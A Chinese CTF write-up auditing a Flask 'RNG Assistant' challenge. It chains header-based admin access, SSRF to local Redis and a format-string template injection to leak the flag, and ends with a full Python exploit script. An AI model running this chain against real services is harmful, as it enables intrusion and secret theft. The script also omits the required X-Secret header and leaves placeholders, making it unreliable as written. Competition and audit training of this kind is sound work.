AWDP简介

AWDP在传统的AWD赛事上加入了pwn的题目,使得比赛考验的深度进一步增加了,在AWDP中主要分为FIX和BREAK两个得分点,一个是FIX修复漏洞,使官方的exp不能直接打通,BREAK如传统ctf一样根据漏洞点打通漏洞,十分考验参赛选手的代码审计能力与漏洞利用能力

漏洞分析

题目为:CISCN&长城杯2025半决赛 rng-assistant

源码:

import socket
import redis
import json
import os

from hashlib import md5, sha256
from os.path import join
from flask import Flask, request, jsonify, session
from flag import FLAG

app = Flask(__name__)
app.secret_key = os.urandom(0x10)

redis_conn = redis.Redis(host="localhost", port=6379, db=0)

model_ports = {"math-v1": 54321, "default": 50051}

# Port to Database at v1.0.
users = {"test": {"password": "098f6bcd4621d373cade4e832627b4f6"}}


# ======== Utilities ========
class PromptTemplate:
    PROMPT_DIR = "static/prompts"

    def __init__(self, question, user_level="primary"):
        self.user_level = user_level
        self.question = question

    @staticmethod
    def get_template(template_id):
        prompt_key = f"prompt:{template_id}"
        prompt = redis_conn.get(prompt_key)
        if not prompt:
            template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
            with open(template_path, "rb") as file:
                prompt = file.read()
            redis_conn.set(prompt_key, prompt)
        prompt = prompt.decode(errors="ignore")
        return prompt

    def get_prompt(self, template_id):
        return PromptTemplate.get_template(template_id).format(t=self)


def get_model_port(model_id):
    return model_ports.get(model_id, model_ports["default"])


def generate_prompt(user_question, prompt_id="math-v1"):
    return PromptTemplate(user_question).get_prompt(prompt_id)


def query_model(prompt, model_id="default"):
    cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
    cached = redis_conn.get(cache_key)
    if cached:
        return cached.decode()

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(("127.0.0.1", get_model_port(model_id)))
            s.sendall(prompt.encode("utf-8"))
            response = s.recv(4096).decode("utf-8")

            redis_conn.setex(cache_key, 3600, response)  # Cache for 1 hour
            return response
    except Exception as e:
        return f"Model service error: {str(e)}"


def generate_salt():
    return os.urandom(0x10)


def hash_password(password, salt):
    return sha256(salt + password.encode()).hexdigest()


# ================

def whoami(username):
    role = request.headers.get("X-User-Role")
    if username is None:
        r = role
    else:
        r = username + ":" + role
    return r

@app.route("/")
def index():
    return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"


@app.route("/register", methods=["POST"])
def register():
    data = request.json
    username = data.get("username")
    password = data.get("password")

    if not username or not password:
        return jsonify({"error": "Missing username or password"}), 400

    if username in users:
        return jsonify({"error": "Username already exists"}), 400

    salt = generate_salt()
    hashed_password = hash_password(password, salt)
    users[username] = {"password": hashed_password, "salt": salt}
    return jsonify({"message": "Registration successful"})


@app.route("/login", methods=["POST"])
def login():
    data = request.json
    username = data.get("username")
    password = data.get("password")

    user = users.get(username)
    if not user or user["password"] != hash_password(password, user["salt"]):
        return jsonify({"error": "Invalid credentials"}), 401

    session["user"] = username
    return jsonify({"message": f"Login successful", "user": whoami(session['user'])})


@app.route("/ask", methods=["POST"])
def ask_question():
    if "user" not in session:
        return jsonify({"error": "Login required"}), 401

    data = request.json
    question = data.get("question")
    model_id = data.get("model_id", "default")

    final_prompt = generate_prompt(question)

    response = query_model(final_prompt, model_id)
    res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
    return jsonify(res)


@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
    if (
        "user" not in session
        or request.headers.get("X-User-Role") != "admin"
        or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
    ):
        return jsonify({"error": "Access denied"}), 403

    data = request.json
    model_id = data.get("model_id", "default")
    custom_prompt = data.get("prompt")

    final_prompt = custom_prompt

    response = query_model(final_prompt, model_id)
    return jsonify({"answer": response, "user": whoami(session['user'])})


@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
    if (
        "user" not in session
        or request.headers.get("X-User-Role") != "admin"
        or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
    ):
        return jsonify({"error": "Access denied"}), 403

    data = request.json
    model_id = data.get("model_id")
    port = data.get("port")

    if request.method in ["POST", "PUT"]:
        if not model_id or not port:
            return jsonify({"error": "Missing parameters"}), 400
        model_ports[model_id] = port
        return jsonify({"message": "Update successful", "user": whoami(session['user'])})

    elif request.method == "DELETE":
        if not model_id:
            return jsonify({"error": "Missing model_id"}), 400
        if model_id in model_ports:
            del model_ports[model_id]
        return jsonify({"message": "Delete successful", "user": whoami(session['user'])})


if __name__ == "__main__":
    app.run(port=8000)

这是一个pythonweb的代码

首先代码代码开头连接了redis,首先要考虑是否存在redis未授权的情况,更改本地redis密码,在更改redis密码的时候我们同时也要记得,在break时尝试一下,虽然说一般情况不应该存在这种漏洞

redis_conn = redis.Redis(host="localhost", port=6379, db=0)

然后就逐个路由进行分析

@app.route("/")
def index():
    return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"


@app.route("/register", methods=["POST"])
def register():
    data = request.json
    username = data.get("username")
    password = data.get("password")

    if not username or not password:
        return jsonify({"error": "Missing username or password"}), 400

    if username in users:
        return jsonify({"error": "Username already exists"}), 400

    salt = generate_salt()
    hashed_password = hash_password(password, salt)
    users[username] = {"password": hashed_password, "salt": salt}
    return jsonify({"message": "Registration successful"})


@app.route("/login", methods=["POST"])
def login():
    data = request.json
    username = data.get("username")
    password = data.get("password")

    user = users.get(username)
    if not user or user["password"] != hash_password(password, user["salt"]):
        return jsonify({"error": "Invalid credentials"}), 401

    session["user"] = username
    return jsonify({"message": f"Login successful", "user": whoami(session['user'])})

默认路由和注册和登录路由,没什么问题,就是常规的校验

@app.route("/ask", methods=["POST"])
def ask_question():
    if "user" not in session:
        return jsonify({"error": "Login required"}), 401

    data = request.json
    question = data.get("question")
    model_id = data.get("model_id", "default")

    final_prompt = generate_prompt(question)

    response = query_model(final_prompt, model_id)
    res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
    return jsonify(res)

ask路由到了功能函数了,首先校验登录状态,获取两个参数qusetion和model_id,调用了generrate_prompt函数,再去查看这个函数的功能,从函数名和代码内容可知,函数用于初始化提示词

def generate_prompt(user_question, prompt_id="math-v1"):
    return PromptTemplate(user_question).get_prompt(prompt_id)

这个函数调用了PromptTemplate类,我们再去看一下这个类

class PromptTemplate:
    PROMPT_DIR = "static/prompts"

    def __init__(self, question, user_level="primary"):
        self.user_level = user_level
        self.question = question

    @staticmethod
    def get_template(template_id):
        prompt_key = f"prompt:{template_id}"
        prompt = redis_conn.get(prompt_key)
        if not prompt:
            template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
            with open(template_path, "rb") as file:
                prompt = file.read()
            redis_conn.set(prompt_key, prompt)
        prompt = prompt.decode(errors="ignore")
        return prompt

    def get_prompt(self, template_id):
        return PromptTemplate.get_template(template_id).format(t=self)

PromptTemplate类主要的参数就是question,get_template就是在根据template_id使用redis选择对应的模型,根据生成的prompt读取文件,文件的生成路径如上,首先这里用了redis来做缓存,这个template_id 可能存在模板注入,这个读取文件也可能存在目录穿越导致的任意文件读取,先想一下等看到后面的代码我们在具体分析漏洞,我在这里就是一步一步引导大家找出可能存在的漏洞,这才是代码审计的意义

我们接着看这个/ask路由分析,接下来就是用response和res发送请求和接收响应,我们接着看

@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
    if (
        "user" not in session
        or request.headers.get("X-User-Role") != "admin"
        or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
    ):
        return jsonify({"error": "Access denied"}), 403

    data = request.json
    model_id = data.get("model_id", "default")
    custom_prompt = data.get("prompt")

    final_prompt = custom_prompt

    response = query_model(final_prompt, model_id)
    return jsonify({"answer": response, "user": whoami(session['user'])})

/admin/raw_ask路由首先检查权限,但是这个权限检查可以通过加入请求头的方式绕过,这个路由与上一个路由的区别就是可以自定义prompt

@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
    if (
        "user" not in session
        or request.headers.get("X-User-Role") != "admin"
        or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
    ):
        return jsonify({"error": "Access denied"}), 403

    data = request.json
    model_id = data.get("model_id")
    port = data.get("port")

    if request.method in ["POST", "PUT"]:
        if not model_id or not port:
            return jsonify({"error": "Missing parameters"}), 400
        model_ports[model_id] = port
        return jsonify({"message": "Update successful", "user": whoami(session['user'])})

    elif request.method == "DELETE":
        if not model_id:
            return jsonify({"error": "Missing model_id"}), 400
        if model_id in model_ports:
            del model_ports[model_id]
        return jsonify({"message": "Delete successful", "user": whoami(session['user'])})

接下来我们来到了最后一个路由,先是身份校验,这个函数传参是可以传递id与端口,发送请求,这里可能存在SSRF漏洞

总结:
/register 注册账号
/login    登录账号
/ask      调用初始化模板,存在模板注入,模板注入,通过redis带出回显
/admin/raw_ask    调用query_model来发送请求调用模型
/admin/model_ports  指定端口,来将大模型端口改为redis端口

还有一个函数

def query_model(prompt, model_id="default"):
    cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
    cached = redis_conn.get(cache_key)
    if cached:
        return cached.decode()

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(("127.0.0.1", get_model_port(model_id)))
            s.sendall(prompt.encode("utf-8"))
            response = s.recv(4096).decode("utf-8")

            redis_conn.setex(cache_key, 3600, response)  # Cache for 1 hour
            return response
    except Exception as e:
        return f"Model service error: {str(e)}"

这个函数通过id来指定端口,来连接模型,由于题目redis权限限制很死,只能通过这个SSRF来利用

利用链大概如下:

首先注册账号->登录账号->保持cookie和session->设置端口->发送SSTI getflag->最后请求一遍带出flag

整个利用的原理如下:

代码校验了登录状态,所以要先注册和登录,然后将端口设置成redis的6379端口,所以相当于把大模型劫持到了redis上,再发送payload

payload = """\
SET prompt:math-v1 {t.__init__.__globals__}
"""

这段payload设置了prompt:math-v1的值为模板注入的恶意代码,再次通过math-v1为template_id 访问就可以,这个math-v1是默认的值

在初始化设置的时候将prompt_id设置成了math-v1,所以再次请求这个prompt时就会返回执行getflag的代码,说起来了这个还不算标准的SSTI,这道题目这个模板的参数我们时控制不了的

观察参数这个prompt_id是我们不能控制的,所以我们在缓存中写入这个值,就能读取到对应代码执行的效果

Payload

import requests
import json

host = "ip"
port = port

payload = """\
SET prompt:math-v1 {t.__init__.__globals__}
"""

resp = requests.post(
    url=f"http://{host}:{port}/admin/model_ports",
    headers={
        "X-User-Role": "admin",
        "Content-Type": "application/json",
    },
    cookies={
        "session": 我们注册完成后得到一个session
    },
    data=json.dumps({
        "model_id": "default",
        "port": 6379
    })
)

resp = requests.post(
    url=f"http://{host}:{port}/admin/raw_ask",
    headers={
        "X-User-Role": "admin",
        "Content-Type": "application/json",
    },
    cookies={
        "session": cookie
    },
    data=json.dumps({
        "prompt": payload
    })
)

resp2 = requests.post(
    url=f"http://{host}:{port}/ask",
    headers={
        "X-User-Role": "admin",
        "Content-Type": "application/json",
    },
    cookies={
        "session": cookie
    },
    data=json.dumps({
        "question": "hi"
    })
)

print(resp2.text)

修复

在设置端口处判断一下,如果是redis端口就禁止

总结

这道题目的难点主要在于redis利用与模板注入结合到一起,而且没有回显,利用redis缓存带出flag确实很难想到